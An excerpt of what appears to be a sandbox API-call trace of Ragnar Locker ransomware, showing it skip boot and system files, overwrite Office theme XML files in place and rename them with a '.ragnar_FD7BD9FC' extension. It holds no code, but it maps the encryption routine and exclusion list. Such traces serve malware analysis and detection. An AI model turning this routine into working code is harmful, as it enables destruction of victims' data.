ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0x3c1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Aspect.xml", cAlternateFileName="")) returned 1 [0093.532] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x49 [0093.532] lstrcpyW (in: lpString1=0x1eb64c, lpString2="Aspect.xml" | out: lpString1="Aspect.xml") returned="Aspect.xml" [0093.532] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Aspect.xml") returned=".xml" [0093.532] lstrcmpiW (lpString1="Aspect.xml", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0093.532] lstrcmpiW (lpString1="Aspect.xml", lpString2="autorun.inf") returned -1 [0093.532] lstrcmpiW (lpString1="Aspect.xml", lpString2="boot.ini") returned -1 [0093.533] lstrcmpiW (lpString1="Aspect.xml", lpString2="bootfont.bin") returned -1 [0093.533] lstrcmpiW (lpString1="Aspect.xml", lpString2="bootsect.bak") returned -1 [0093.533] lstrcmpiW (lpString1="Aspect.xml", lpString2="bootmgr") returned -1 [0093.533] lstrcmpiW (lpString1="Aspect.xml", lpString2="bootmgr.efi") returned -1 [0093.533] lstrcmpiW (lpString1="Aspect.xml", lpString2="bootmgfw.efi") returned -1 [0093.533] lstrcmpiW (lpString1="Aspect.xml", lpString2="desktop.ini") returned -1 [0093.533] lstrcmpiW (lpString1="Aspect.xml", lpString2="iconcache.db") returned -1 [0093.533] lstrcmpiW (lpString1="Aspect.xml", lpString2="ntldr") returned -1 [0093.533] lstrcmpiW (lpString1="Aspect.xml", lpString2="ntuser.dat") returned -1 [0093.533] lstrcmpiW (lpString1="Aspect.xml", lpString2="ntuser.dat.log") returned -1 [0093.533] lstrcmpiW (lpString1="Aspect.xml", lpString2="ntuser.ini") returned -1 [0093.533] lstrcmpiW (lpString1="Aspect.xml", lpString2="thumbs.db") returned -1 [0093.533] lstrcmpiW (lpString1=".xml", lpString2=".db") returned 1 [0093.533] lstrcmpiW (lpString1=".xml", lpString2=".sys") returned 1 [0093.533] lstrcmpiW (lpString1=".xml", lpString2=".dll") returned 1 [0093.533] lstrcmpiW (lpString1=".xml", lpString2=".lnk") returned 1 [0093.533] lstrcmpiW (lpString1=".xml", lpString2=".msi") returned 1 [0093.533] lstrcmpiW (lpString1=".xml", lpString2=".drv") returned 1 [0093.533] lstrcmpiW (lpString1=".xml", lpString2=".exe") returned 1 [0093.533] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Aspect.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\aspect.xml")) returned 0x20 [0093.534] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Aspect.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\aspect.xml"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0093.534] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=961) returned 1 [0093.534] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x3b8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.534] GetProcessHeap () returned 0x580000 [0093.534] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0093.534] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0093.536] VirtualAlloc (lpAddress=0x0, dwSize=0x3c1, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0093.536] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.536] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0093.536] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x3c1, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x3c1, lpOverlapped=0x0) returned 1 [0093.536] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0093.536] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x3c1, nNumberOfBytesToLockHigh=0x0) returned 1 [0093.536] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x3c1, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x3c1, lpOverlapped=0x0) returned 1 [0093.537] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x3c1, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0093.537] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0093.537] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x3c1, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.537] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0093.537] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0093.537] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0093.537] WriteFile (in: hFile=0x10c, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0093.537] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0093.537] GetProcessHeap () returned 0x580000 [0093.537] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0093.537] CloseHandle (hObject=0x10c) returned 1 [0093.537] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Aspect.xml" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Aspect.xml") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Aspect.xml" [0093.537] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Aspect.xml", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Aspect.xml.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Aspect.xml.ragnar_FD7BD9FC" [0093.537] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Aspect.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\aspect.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Aspect.xml.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\aspect.xml.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0093.538] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x211be00, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x51c9cf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x211be00, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0x3c1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Austin.xml", cAlternateFileName="")) returned 1 [0093.538] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x49 [0093.538] lstrcpyW (in: lpString1=0x1eb64c, lpString2="Austin.xml" | out: lpString1="Austin.xml") returned="Austin.xml" [0093.538] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Austin.xml") returned=".xml" [0093.538] lstrcmpiW (lpString1="Austin.xml", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0093.538] lstrcmpiW (lpString1="Austin.xml", lpString2="autorun.inf") returned -1 [0093.538] lstrcmpiW (lpString1="Austin.xml", lpString2="boot.ini") returned -1 [0093.538] lstrcmpiW (lpString1="Austin.xml", lpString2="bootfont.bin") returned -1 [0093.538] lstrcmpiW (lpString1="Austin.xml", lpString2="bootsect.bak") returned -1 [0093.538] lstrcmpiW (lpString1="Austin.xml", lpString2="bootmgr") returned -1 [0093.538] lstrcmpiW (lpString1="Austin.xml", lpString2="bootmgr.efi") returned -1 [0093.538] lstrcmpiW (lpString1="Austin.xml", lpString2="bootmgfw.efi") returned -1 [0093.538] lstrcmpiW (lpString1="Austin.xml", lpString2="desktop.ini") returned -1 [0093.538] lstrcmpiW (lpString1="Austin.xml", lpString2="iconcache.db") returned -1 [0093.538] lstrcmpiW (lpString1="Austin.xml", lpString2="ntldr") returned -1 [0093.538] lstrcmpiW (lpString1="Austin.xml", lpString2="ntuser.dat") returned -1 [0093.538] lstrcmpiW (lpString1="Austin.xml", lpString2="ntuser.dat.log") returned -1 [0093.539] lstrcmpiW (lpString1="Austin.xml", lpString2="ntuser.ini") returned -1 [0093.539] lstrcmpiW (lpString1="Austin.xml", lpString2="thumbs.db") returned -1 [0093.539] lstrcmpiW (lpString1=".xml", lpString2=".db") returned 1 [0093.539] lstrcmpiW (lpString1=".xml", lpString2=".sys") returned 1 [0093.539] lstrcmpiW (lpString1=".xml", lpString2=".dll") returned 1 [0093.539] lstrcmpiW (lpString1=".xml", lpString2=".lnk") returned 1 [0093.539] lstrcmpiW (lpString1=".xml", lpString2=".msi") returned 1 [0093.539] lstrcmpiW (lpString1=".xml", lpString2=".drv") returned 1 [0093.539] lstrcmpiW (lpString1=".xml", lpString2=".exe") returned 1 [0093.539] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Austin.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\austin.xml")) returned 0x20 [0093.539] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Austin.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\austin.xml"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0093.539] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=961) returned 1 [0093.539] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x3b8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.539] GetProcessHeap () returned 0x580000 [0093.539] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0093.539] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0093.541] VirtualAlloc (lpAddress=0x0, dwSize=0x3c1, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0093.541] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.541] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0093.541] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x3c1, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x3c1, lpOverlapped=0x0) returned 1 [0093.541] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0093.541] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x3c1, nNumberOfBytesToLockHigh=0x0) returned 1 [0093.541] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x3c1, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x3c1, lpOverlapped=0x0) returned 1 [0093.542] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x3c1, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0093.542] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0093.542] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x3c1, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.542] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0093.542] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0093.542] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0093.542] WriteFile (in: hFile=0x10c, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0093.542] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0093.542] GetProcessHeap () returned 0x580000 [0093.542] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0093.542] CloseHandle (hObject=0x10c) returned 1 [0093.542] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Austin.xml" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Austin.xml") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Austin.xml" [0093.542] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Austin.xml", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Austin.xml.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Austin.xml.ragnar_FD7BD9FC" [0093.542] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Austin.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\austin.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Austin.xml.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\austin.xml.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0093.543] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2ead00, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x603ce830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf2ead00, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0x39f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Black Tie.xml", cAlternateFileName="BLACKT~1.XML")) returned 1 [0093.543] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x49 [0093.543] lstrcpyW (in: lpString1=0x1eb64c, lpString2="Black Tie.xml" | out: lpString1="Black Tie.xml") returned="Black Tie.xml" [0093.543] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Black Tie.xml") returned=".xml" [0093.543] lstrcmpiW (lpString1="Black Tie.xml", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0093.543] lstrcmpiW (lpString1="Black Tie.xml", lpString2="autorun.inf") returned 1 [0093.543] lstrcmpiW (lpString1="Black Tie.xml", lpString2="boot.ini") returned -1 [0093.543] lstrcmpiW (lpString1="Black Tie.xml", lpString2="bootfont.bin") returned -1 [0093.543] lstrcmpiW (lpString1="Black Tie.xml", lpString2="bootsect.bak") returned -1 [0093.543] lstrcmpiW (lpString1="Black Tie.xml", lpString2="bootmgr") returned -1 [0093.543] lstrcmpiW (lpString1="Black Tie.xml", lpString2="bootmgr.efi") returned -1 [0093.543] lstrcmpiW (lpString1="Black Tie.xml", lpString2="bootmgfw.efi") returned -1 [0093.543] lstrcmpiW (lpString1="Black Tie.xml", lpString2="desktop.ini") returned -1 [0093.543] lstrcmpiW (lpString1="Black Tie.xml", lpString2="iconcache.db") returned -1 [0093.543] lstrcmpiW (lpString1="Black Tie.xml", lpString2="ntldr") returned -1 [0093.543] lstrcmpiW (lpString1="Black Tie.xml", lpString2="ntuser.dat") returned -1 [0093.543] lstrcmpiW (lpString1="Black Tie.xml", lpString2="ntuser.dat.log") returned -1 [0093.543] lstrcmpiW (lpString1="Black Tie.xml", lpString2="ntuser.ini") returned -1 [0093.544] lstrcmpiW (lpString1="Black Tie.xml", lpString2="thumbs.db") returned -1 [0093.544] lstrcmpiW (lpString1=".xml", lpString2=".db") returned 1 [0093.544] lstrcmpiW (lpString1=".xml", lpString2=".sys") returned 1 [0093.544] lstrcmpiW (lpString1=".xml", lpString2=".dll") returned 1 [0093.544] lstrcmpiW (lpString1=".xml", lpString2=".lnk") returned 1 [0093.544] lstrcmpiW (lpString1=".xml", lpString2=".msi") returned 1 [0093.544] lstrcmpiW (lpString1=".xml", lpString2=".drv") returned 1 [0093.544] lstrcmpiW (lpString1=".xml", lpString2=".exe") returned 1 [0093.544] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Black Tie.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\black tie.xml")) returned 0x20 [0093.544] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Black Tie.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\black tie.xml"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0093.544] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=927) returned 1 [0093.544] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x396, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.544] GetProcessHeap () returned 0x580000 [0093.544] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0093.544] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0093.546] VirtualAlloc (lpAddress=0x0, dwSize=0x39f, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0093.546] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.546] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0093.546] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x39f, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x39f, lpOverlapped=0x0) returned 1 [0093.546] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0093.546] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x39f, nNumberOfBytesToLockHigh=0x0) returned 1 [0093.546] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x39f, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x39f, lpOverlapped=0x0) returned 1 [0093.547] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x39f, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0093.547] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0093.547] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x39f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.547] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0093.547] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0093.547] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0093.547] WriteFile (in: hFile=0x10c, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0093.547] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0093.547] GetProcessHeap () returned 0x580000 [0093.547] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0093.547] CloseHandle (hObject=0x10c) returned 1 [0093.547] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Black Tie.xml" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Black Tie.xml") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Black Tie.xml" [0093.547] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Black Tie.xml", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Black Tie.xml.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Black Tie.xml.ragnar_FD7BD9FC" [0093.547] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Black Tie.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\black tie.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Black Tie.xml.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\black tie.xml.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0093.548] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xedcdc100, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x51c9cf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xedcdc100, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0x3c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Civic.xml", cAlternateFileName="")) returned 1 [0093.548] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x49 [0093.548] lstrcpyW (in: lpString1=0x1eb64c, lpString2="Civic.xml" | out: lpString1="Civic.xml") returned="Civic.xml" [0093.548] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Civic.xml") returned=".xml" [0093.548] lstrcmpiW (lpString1="Civic.xml", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0093.548] lstrcmpiW (lpString1="Civic.xml", lpString2="autorun.inf") returned 1 [0093.548] lstrcmpiW (lpString1="Civic.xml", lpString2="boot.ini") returned 1 [0093.548] lstrcmpiW (lpString1="Civic.xml", lpString2="bootfont.bin") returned 1 